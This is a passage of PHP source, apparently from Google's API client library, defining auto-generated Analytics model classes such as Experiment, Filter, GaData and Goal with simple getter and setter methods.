$this->selfLink; } public function setWebPropertyId($webPropertyId) { $this->webPropertyId = $webPropertyId; } public function getWebPropertyId() { return $this->webPropertyId; } } class Google_Service_Analytics_DailyUploadAppend extends Google_Model { public $accountId; public $appendNumber; public $customDataSourceId; public $date; public $kind; public $nextAppendLink; public $webPropertyId; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setAppendNumber($appendNumber) { $this->appendNumber = $appendNumber; } public function getAppendNumber() { return $this->appendNumber; } public function setCustomDataSourceId($customDataSourceId) { $this->customDataSourceId = $customDataSourceId; } public function getCustomDataSourceId() { return $this->customDataSourceId; } public function setDate($date) { $this->date = $date; } public function getDate() { return $this->date; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextAppendLink($nextAppendLink) { $this->nextAppendLink = $nextAppendLink; } public function getNextAppendLink() { return $this->nextAppendLink; } public function setWebPropertyId($webPropertyId) { $this->webPropertyId = $webPropertyId; } public function getWebPropertyId() { return $this->webPropertyId; } } class Google_Service_Analytics_DailyUploadParentLink extends Google_Model { public $href; public $type; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_DailyUploadRecentChanges extends Google_Model { public $change; public $time; public function setChange($change) { $this->change = $change; } public function getChange() { return $this->change; } public function setTime($time) { $this->time = $time; } public function getTime() { return $this->time; } } class Google_Service_Analytics_DailyUploads extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_DailyUpload'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_EntityAdWordsLink extends Google_Collection { protected $adWordsAccountsType = 'Google_Service_Analytics_AdWordsAccount'; protected $adWordsAccountsDataType = 'array'; protected $entityType = 'Google_Service_Analytics_EntityAdWordsLinkEntity'; protected $entityDataType = ''; public $id; public $kind; public $name; public $profileIds; public $selfLink; public function setAdWordsAccounts($adWordsAccounts) { $this->adWordsAccounts = $adWordsAccounts; } public function getAdWordsAccounts() { return $this->adWordsAccounts; } public function setEntity(Google_Service_Analytics_EntityAdWordsLinkEntity $entity) { $this->entity = $entity; } public function getEntity() { return $this->entity; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setProfileIds($profileIds) { $this->profileIds = $profileIds; } public function getProfileIds() { return $this->profileIds; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } } class Google_Service_Analytics_EntityAdWordsLinkEntity extends Google_Model { protected $webPropertyRefType = 'Google_Service_Analytics_WebPropertyRef'; protected $webPropertyRefDataType = ''; public function setWebPropertyRef(Google_Service_Analytics_WebPropertyRef $webPropertyRef) { $this->webPropertyRef = $webPropertyRef; } public function getWebPropertyRef() { return $this->webPropertyRef; } } class Google_Service_Analytics_EntityAdWordsLinks extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_EntityAdWordsLink'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } } class Google_Service_Analytics_EntityUserLink extends Google_Model { protected $entityType = 'Google_Service_Analytics_EntityUserLinkEntity'; protected $entityDataType = ''; public $id; public $kind; protected $permissionsType = 'Google_Service_Analytics_EntityUserLinkPermissions'; protected $permissionsDataType = ''; public $selfLink; protected $userRefType = 'Google_Service_Analytics_UserRef'; protected $userRefDataType = ''; public function setEntity(Google_Service_Analytics_EntityUserLinkEntity $entity) { $this->entity = $entity; } public function getEntity() { return $this->entity; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setPermissions(Google_Service_Analytics_EntityUserLinkPermissions $permissions) { $this->permissions = $permissions; } public function getPermissions() { return $this->permissions; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setUserRef(Google_Service_Analytics_UserRef $userRef) { $this->userRef = $userRef; } public function getUserRef() { return $this->userRef; } } class Google_Service_Analytics_EntityUserLinkEntity extends Google_Model { protected $accountRefType = 'Google_Service_Analytics_AccountRef'; protected $accountRefDataType = ''; protected $profileRefType = 'Google_Service_Analytics_ProfileRef'; protected $profileRefDataType = ''; protected $webPropertyRefType = 'Google_Service_Analytics_WebPropertyRef'; protected $webPropertyRefDataType = ''; public function setAccountRef(Google_Service_Analytics_AccountRef $accountRef) { $this->accountRef = $accountRef; } public function getAccountRef() { return $this->accountRef; } public function setProfileRef(Google_Service_Analytics_ProfileRef $profileRef) { $this->profileRef = $profileRef; } public function getProfileRef() { return $this->profileRef; } public function setWebPropertyRef(Google_Service_Analytics_WebPropertyRef $webPropertyRef) { $this->webPropertyRef = $webPropertyRef; } public function getWebPropertyRef() { return $this->webPropertyRef; } } class Google_Service_Analytics_EntityUserLinkPermissions extends Google_Collection { public $effective; public $local; public function setEffective($effective) { $this->effective = $effective; } public function getEffective() { return $this->effective; } public function setLocal($local) { $this->local = $local; } public function getLocal() { return $this->local; } } class Google_Service_Analytics_EntityUserLinks extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_EntityUserLink'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } } class Google_Service_Analytics_Experiment extends Google_Collection { public $accountId; public $created; public $description; public $editableInGaUi; public $endTime; public $equalWeighting; public $id; public $internalWebPropertyId; public $kind; public $minimumExperimentLengthInDays; public $name; public $objectiveMetric; public $optimizationType; protected $parentLinkType = 'Google_Service_Analytics_ExperimentParentLink'; protected $parentLinkDataType = ''; public $profileId; public $reasonExperimentEnded; public $rewriteVariationUrlsAsOriginal; public $selfLink; public $servingFramework; public $snippet; public $startTime; public $status; public $trafficCoverage; public $updated; protected $variationsType = 'Google_Service_Analytics_ExperimentVariations'; protected $variationsDataType = 'array'; public $webPropertyId; public $winnerConfidenceLevel; public $winnerFound; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setCreated($created) { $this->created = $created; } public function getCreated() { return $this->created; } public function setDescription($description) { $this->description = $description; } public function getDescription() { return $this->description; } public function setEditableInGaUi($editableInGaUi) { $this->editableInGaUi = $editableInGaUi; } public function getEditableInGaUi() { return $this->editableInGaUi; } public function setEndTime($endTime) { $this->endTime = $endTime; } public function getEndTime() { return $this->endTime; } public function setEqualWeighting($equalWeighting) { $this->equalWeighting = $equalWeighting; } public function getEqualWeighting() { return $this->equalWeighting; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setInternalWebPropertyId($internalWebPropertyId) { $this->internalWebPropertyId = $internalWebPropertyId; } public function getInternalWebPropertyId() { return $this->internalWebPropertyId; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setMinimumExperimentLengthInDays($minimumExperimentLengthInDays) { $this->minimumExperimentLengthInDays = $minimumExperimentLengthInDays; } public function getMinimumExperimentLengthInDays() { return $this->minimumExperimentLengthInDays; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setObjectiveMetric($objectiveMetric) { $this->objectiveMetric = $objectiveMetric; } public function getObjectiveMetric() { return $this->objectiveMetric; } public function setOptimizationType($optimizationType) { $this->optimizationType = $optimizationType; } public function getOptimizationType() { return $this->optimizationType; } public function setParentLink(Google_Service_Analytics_ExperimentParentLink $parentLink) { $this->parentLink = $parentLink; } public function getParentLink() { return $this->parentLink; } public function setProfileId($profileId) { $this->profileId = $profileId; } public function getProfileId() { return $this->profileId; } public function setReasonExperimentEnded($reasonExperimentEnded) { $this->reasonExperimentEnded = $reasonExperimentEnded; } public function getReasonExperimentEnded() { return $this->reasonExperimentEnded; } public function setRewriteVariationUrlsAsOriginal($rewriteVariationUrlsAsOriginal) { $this->rewriteVariationUrlsAsOriginal = $rewriteVariationUrlsAsOriginal; } public function getRewriteVariationUrlsAsOriginal() { return $this->rewriteVariationUrlsAsOriginal; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setServingFramework($servingFramework) { $this->servingFramework = $servingFramework; } public function getServingFramework() { return $this->servingFramework; } public function setSnippet($snippet) { $this->snippet = $snippet; } public function getSnippet() { return $this->snippet; } public function setStartTime($startTime) { $this->startTime = $startTime; } public function getStartTime() { return $this->startTime; } public function setStatus($status) { $this->status = $status; } public function getStatus() { return $this->status; } public function setTrafficCoverage($trafficCoverage) { $this->trafficCoverage = $trafficCoverage; } public function getTrafficCoverage() { return $this->trafficCoverage; } public function setUpdated($updated) { $this->updated = $updated; } public function getUpdated() { return $this->updated; } public function setVariations($variations) { $this->variations = $variations; } public function getVariations() { return $this->variations; } public function setWebPropertyId($webPropertyId) { $this->webPropertyId = $webPropertyId; } public function getWebPropertyId() { return $this->webPropertyId; } public function setWinnerConfidenceLevel($winnerConfidenceLevel) { $this->winnerConfidenceLevel = $winnerConfidenceLevel; } public function getWinnerConfidenceLevel() { return $this->winnerConfidenceLevel; } public function setWinnerFound($winnerFound) { $this->winnerFound = $winnerFound; } public function getWinnerFound() { return $this->winnerFound; } } class Google_Service_Analytics_ExperimentParentLink extends Google_Model { public $href; public $type; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_ExperimentVariations extends Google_Model { public $name; public $status; public $url; public $weight; public $won; public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setStatus($status) { $this->status = $status; } public function getStatus() { return $this->status; } public function setUrl($url) { $this->url = $url; } public function getUrl() { return $this->url; } public function setWeight($weight) { $this->weight = $weight; } public function getWeight() { return $this->weight; } public function setWon($won) { $this->won = $won; } public function getWon() { return $this->won; } } class Google_Service_Analytics_Experiments extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_Experiment'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_Filter extends Google_Model { public $accountId; protected $advancedDetailsType = 'Google_Service_Analytics_FilterAdvancedDetails'; protected $advancedDetailsDataType = ''; public $created; protected $excludeDetailsType = 'Google_Service_Analytics_FilterExpression'; protected $excludeDetailsDataType = ''; public $id; protected $includeDetailsType = 'Google_Service_Analytics_FilterExpression'; protected $includeDetailsDataType = ''; public $kind; protected $lowercaseDetailsType = 'Google_Service_Analytics_FilterLowercaseDetails'; protected $lowercaseDetailsDataType = ''; public $name; protected $parentLinkType = 'Google_Service_Analytics_FilterParentLink'; protected $parentLinkDataType = ''; protected $searchAndReplaceDetailsType = 'Google_Service_Analytics_FilterSearchAndReplaceDetails'; protected $searchAndReplaceDetailsDataType = ''; public $selfLink; public $type; public $updated; protected $uppercaseDetailsType = 'Google_Service_Analytics_FilterUppercaseDetails'; protected $uppercaseDetailsDataType = ''; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setAdvancedDetails(Google_Service_Analytics_FilterAdvancedDetails $advancedDetails) { $this->advancedDetails = $advancedDetails; } public function getAdvancedDetails() { return $this->advancedDetails; } public function setCreated($created) { $this->created = $created; } public function getCreated() { return $this->created; } public function setExcludeDetails(Google_Service_Analytics_FilterExpression $excludeDetails) { $this->excludeDetails = $excludeDetails; } public function getExcludeDetails() { return $this->excludeDetails; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setIncludeDetails(Google_Service_Analytics_FilterExpression $includeDetails) { $this->includeDetails = $includeDetails; } public function getIncludeDetails() { return $this->includeDetails; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setLowercaseDetails(Google_Service_Analytics_FilterLowercaseDetails $lowercaseDetails) { $this->lowercaseDetails = $lowercaseDetails; } public function getLowercaseDetails() { return $this->lowercaseDetails; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setParentLink(Google_Service_Analytics_FilterParentLink $parentLink) { $this->parentLink = $parentLink; } public function getParentLink() { return $this->parentLink; } public function setSearchAndReplaceDetails(Google_Service_Analytics_FilterSearchAndReplaceDetails $searchAndReplaceDetails) { $this->searchAndReplaceDetails = $searchAndReplaceDetails; } public function getSearchAndReplaceDetails() { return $this->searchAndReplaceDetails; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } public function setUpdated($updated) { $this->updated = $updated; } public function getUpdated() { return $this->updated; } public function setUppercaseDetails(Google_Service_Analytics_FilterUppercaseDetails $uppercaseDetails) { $this->uppercaseDetails = $uppercaseDetails; } public function getUppercaseDetails() { return $this->uppercaseDetails; } } class Google_Service_Analytics_FilterAdvancedDetails extends Google_Model { public $caseSensitive; public $extractA; public $extractB; public $fieldA; public $fieldARequired; public $fieldB; public $fieldBRequired; public $outputConstructor; public $outputToField; public $overrideOutputField; public function setCaseSensitive($caseSensitive) { $this->caseSensitive = $caseSensitive; } public function getCaseSensitive() { return $this->caseSensitive; } public function setExtractA($extractA) { $this->extractA = $extractA; } public function getExtractA() { return $this->extractA; } public function setExtractB($extractB) { $this->extractB = $extractB; } public function getExtractB() { return $this->extractB; } public function setFieldA($fieldA) { $this->fieldA = $fieldA; } public function getFieldA() { return $this->fieldA; } public function setFieldARequired($fieldARequired) { $this->fieldARequired = $fieldARequired; } public function getFieldARequired() { return $this->fieldARequired; } public function setFieldB($fieldB) { $this->fieldB = $fieldB; } public function getFieldB() { return $this->fieldB; } public function setFieldBRequired($fieldBRequired) { $this->fieldBRequired = $fieldBRequired; } public function getFieldBRequired() { return $this->fieldBRequired; } public function setOutputConstructor($outputConstructor) { $this->outputConstructor = $outputConstructor; } public function getOutputConstructor() { return $this->outputConstructor; } public function setOutputToField($outputToField) { $this->outputToField = $outputToField; } public function getOutputToField() { return $this->outputToField; } public function setOverrideOutputField($overrideOutputField) { $this->overrideOutputField = $overrideOutputField; } public function getOverrideOutputField() { return $this->overrideOutputField; } } class Google_Service_Analytics_FilterExpression extends Google_Model { public $caseSensitive; public $expressionValue; public $field; public $kind; public $matchType; public function setCaseSensitive($caseSensitive) { $this->caseSensitive = $caseSensitive; } public function getCaseSensitive() { return $this->caseSensitive; } public function setExpressionValue($expressionValue) { $this->expressionValue = $expressionValue; } public function getExpressionValue() { return $this->expressionValue; } public function setField($field) { $this->field = $field; } public function getField() { return $this->field; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setMatchType($matchType) { $this->matchType = $matchType; } public function getMatchType() { return $this->matchType; } } class Google_Service_Analytics_FilterLowercaseDetails extends Google_Model { public $field; public function setField($field) { $this->field = $field; } public function getField() { return $this->field; } } class Google_Service_Analytics_FilterParentLink extends Google_Model { public $href; public $type; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_FilterRef extends Google_Model { public $accountId; public $href; public $id; public $kind; public $name; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } } class Google_Service_Analytics_FilterSearchAndReplaceDetails extends Google_Model { public $caseSensitive; public $field; public $replaceString; public $searchString; public function setCaseSensitive($caseSensitive) { $this->caseSensitive = $caseSensitive; } public function getCaseSensitive() { return $this->caseSensitive; } public function setField($field) { $this->field = $field; } public function getField() { return $this->field; } public function setReplaceString($replaceString) { $this->replaceString = $replaceString; } public function getReplaceString() { return $this->replaceString; } public function setSearchString($searchString) { $this->searchString = $searchString; } public function getSearchString() { return $this->searchString; } } class Google_Service_Analytics_FilterUppercaseDetails extends Google_Model { public $field; public function setField($field) { $this->field = $field; } public function getField() { return $this->field; } } class Google_Service_Analytics_Filters extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_Filter'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_GaData extends Google_Collection { protected $columnHeadersType = 'Google_Service_Analytics_GaDataColumnHeaders'; protected $columnHeadersDataType = 'array'; public $containsSampledData; protected $dataTableType = 'Google_Service_Analytics_GaDataDataTable'; protected $dataTableDataType = ''; public $id; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; protected $profileInfoType = 'Google_Service_Analytics_GaDataProfileInfo'; protected $profileInfoDataType = ''; protected $queryType = 'Google_Service_Analytics_GaDataQuery'; protected $queryDataType = ''; public $rows; public $sampleSize; public $sampleSpace; public $selfLink; public $totalResults; public $totalsForAllResults; public function setColumnHeaders($columnHeaders) { $this->columnHeaders = $columnHeaders; } public function getColumnHeaders() { return $this->columnHeaders; } public function setContainsSampledData($containsSampledData) { $this->containsSampledData = $containsSampledData; } public function getContainsSampledData() { return $this->containsSampledData; } public function setDataTable(Google_Service_Analytics_GaDataDataTable $dataTable) { $this->dataTable = $dataTable; } public function getDataTable() { return $this->dataTable; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setProfileInfo(Google_Service_Analytics_GaDataProfileInfo $profileInfo) { $this->profileInfo = $profileInfo; } public function getProfileInfo() { return $this->profileInfo; } public function setQuery(Google_Service_Analytics_GaDataQuery $query) { $this->query = $query; } public function getQuery() { return $this->query; } public function setRows($rows) { $this->rows = $rows; } public function getRows() { return $this->rows; } public function setSampleSize($sampleSize) { $this->sampleSize = $sampleSize; } public function getSampleSize() { return $this->sampleSize; } public function setSampleSpace($sampleSpace) { $this->sampleSpace = $sampleSpace; } public function getSampleSpace() { return $this->sampleSpace; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setTotalsForAllResults($totalsForAllResults) { $this->totalsForAllResults = $totalsForAllResults; } public function getTotalsForAllResults() { return $this->totalsForAllResults; } } class Google_Service_Analytics_GaDataColumnHeaders extends Google_Model { public $columnType; public $dataType; public $name; public function setColumnType($columnType) { $this->columnType = $columnType; } public function getColumnType() { return $this->columnType; } public function setDataType($dataType) { $this->dataType = $dataType; } public function getDataType() { return $this->dataType; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } } class Google_Service_Analytics_GaDataDataTable extends Google_Collection { protected $colsType = 'Google_Service_Analytics_GaDataDataTableCols'; protected $colsDataType = 'array'; protected $rowsType = 'Google_Service_Analytics_GaDataDataTableRows'; protected $rowsDataType = 'array'; public function setCols($cols) { $this->cols = $cols; } public function getCols() { return $this->cols; } public function setRows($rows) { $this->rows = $rows; } public function getRows() { return $this->rows; } } class Google_Service_Analytics_GaDataDataTableCols extends Google_Model { public $id; public $label; public $type; public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setLabel($label) { $this->label = $label; } public function getLabel() { return $this->label; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_GaDataDataTableRows extends Google_Collection { protected $cType = 'Google_Service_Analytics_GaDataDataTableRowsC'; protected $cDataType = 'array'; public function setC($c) { $this->c = $c; } public function getC() { return $this->c; } } class Google_Service_Analytics_GaDataDataTableRowsC extends Google_Model { public $v; public function setV($v) { $this->v = $v; } public function getV() { return $this->v; } } class Google_Service_Analytics_GaDataProfileInfo extends Google_Model { public $accountId; public $internalWebPropertyId; public $profileId; public $profileName; public $tableId; public $webPropertyId; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setInternalWebPropertyId($internalWebPropertyId) { $this->internalWebPropertyId = $internalWebPropertyId; } public function getInternalWebPropertyId() { return $this->internalWebPropertyId; } public function setProfileId($profileId) { $this->profileId = $profileId; } public function getProfileId() { return $this->profileId; } public function setProfileName($profileName) { $this->profileName = $profileName; } public function getProfileName() { return $this->profileName; } public function setTableId($tableId) { $this->tableId = $tableId; } public function getTableId() { return $this->tableId; } public function setWebPropertyId($webPropertyId) { $this->webPropertyId = $webPropertyId; } public function getWebPropertyId() { return $this->webPropertyId; } } class Google_Service_Analytics_GaDataQuery extends Google_Collection { public $dimensions; public $endDate; public $filters; public $ids; public $maxResults; public $metrics; public $samplingLevel; public $segment; public $sort; public $startDate; public $startIndex; public function setDimensions($dimensions) { $this->dimensions = $dimensions; } public function getDimensions() { return $this->dimensions; } public function setEndDate($endDate) { $this->endDate = $endDate; } public function getEndDate() { return $this->endDate; } public function setFilters($filters) { $this->filters = $filters; } public function getFilters() { return $this->filters; } public function setIds($ids) { $this->ids = $ids; } public function getIds() { return $this->ids; } public function setMaxResults($maxResults) { $this->maxResults = $maxResults; } public function getMaxResults() { return $this->maxResults; } public function setMetrics($metrics) { $this->metrics = $metrics; } public function getMetrics() { return $this->metrics; } public function setSamplingLevel($samplingLevel) { $this->samplingLevel = $samplingLevel; } public function getSamplingLevel() { return $this->samplingLevel; } public function setSegment($segment) { $this->segment = $segment; } public function getSegment() { return $this->segment; } public function setSort($sort) { $this->sort = $sort; } public function getSort() { return $this->sort; } public function setStartDate($startDate) { $this->startDate = $startDate; } public function getStartDate() { return $this->startDate; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } } class Google_Service_Analytics_GaDataTotalsForAllResults extends Google_Model { } class Google_Service_Analytics_Goal extends Google_Model { public $accountId; public $active; public $created; protected $eventDetailsType = 'Google_Service_Analytics_GoalEventDetails'; protected $eventDetailsDataType = ''; public $id; public $internalWebPropertyId; public $kind; public $name; protected $parentLinkType = 'Google_Service_Analytics_GoalParentLink'; protected $parentLinkDataType = ''; public $profileId; public $selfLink; public $type; public $updated; protected $urlDestinationDetailsType = 'Google_Service_Analytics_GoalUrlDestinationDetails'; protected $urlDestinationDetailsDataType = ''; public $value; protected $visitNumPagesDetailsType = 'Google_Service_Analytics_GoalVisitNumPagesDetails'; protected $visitNumPagesDetailsDataType = ''; protected $visitTimeOnSiteDetailsType = 'Google_Service_Analytics_GoalVisitTimeOnSiteDetails'; protected $visitTimeOnSiteDetailsDataType = ''; public $webPropertyId; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setActive($active) { $this->active = $active; } public function getActive() { return $this->active; } public function setCreated($created) { $this->created = $created; } public function getCreated() { return $this->created; } public function setEventDetails(Google_Service_Analytics_GoalEventDetails $eventDetails) { $this->eventDetails = $eventDetails; } public function getEventDetails() { return $this->eventDetails; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setInternalWebPropertyId($internalWebPropertyId) { $this->internalWebPropertyId = $internalWebPropertyId; } public function getInternalWebPropertyId() { return $this->internalWebPropertyId; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setParentLink(Google_Service_Analytics_GoalParentLink $parentLink) { $this->parentLink = $parentLink; } public function getParentLink() { return $this->parentLink; } public function setProfileId($profileId) { $this->profileId = $profileId; } public function getProfileId() { return $this->profileId; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } public function setUpdated($updated) { $this->updated = $updated; } public function getUpdated() { return $this->updated; } public function setUrlDestinationDetails(Google_Service_Analytics_GoalUrlDestinationDetails $urlDestinationDetails) { $this->urlDestinationDetails = $urlDestinationDetails; } public function getUrlDestinationDetails() { return $this->urlDestinationDetails; } public function setValue($value) { $this->value = $value; } public function getValue() { return $this->value; } public function setVisitNumPagesDetails(Google_Service_Analytics_GoalVisitNumPagesDetails $visitNumPagesDetails) { $this->visitNumPagesDetails = $visitNumPagesDetails; } public function getVisitNumPagesDetails() { return $this->visitNumPagesDetails; } public function setVisitTimeOnSiteDetails(Google_Service_Analytics_GoalVisitTimeOnSiteDetails $visitTimeOnSiteDetails) { $this->visitTimeOnSiteDetails = $visitTimeOnSiteDetails; } public function getVisitTimeOnSiteDetails() { return $this->visitTimeOnSiteDetails; } public function setWebPropertyId($webPropertyId) { $this->webPropertyId = $webPropertyId; } public function getWebPropertyId() { return $this->webPropertyId; } } class Google_Service_Analytics_GoalEventDetails extends Google_Collection { protected $eventConditionsType = 'Google_Service_Analytics_GoalEventDetailsEventConditions'; protected $eventConditionsDataType = 'array'; public $useEventValue; public function setEventConditions($eventConditions) { $this->eventConditions = $eventConditions; } public function getEventConditions() { return $this->eventConditions; } public function setUseEventValue($useEventValue) { $this->useEventValue = $useEventValue; } public function getUseEventValue() { return $this->useEventValue; } } class Google_Service_Analytics_GoalEventDetailsEventConditions extends Google_Model { public $comparisonType; public $comparisonValue; public $expression; public $matchType; public $type; public function setComparisonType($comparisonType) { $this->comparisonType = $comparisonType; } public function getComparisonType() { return $this->comparisonType; } public function setComparisonValue($comparisonValue) { $this->comparisonValue = $comparisonValue; } public function getComparisonValue() { return $this->comparisonValue; } public function setExpression($expression) { $this->expression = $expression; } public function getExpression() { return $this->expression; } public function setMatchType($matchType) { $this->matchType = $matchType; } public function getMatchType() { return $this->matchType; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_GoalParentLink extends Google_Model { public $href; public $type; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_GoalUrlDestinationDetails extends Google_Collection { public $caseSensitive; public $firstStepRequired; public $matchType; protected $stepsType = 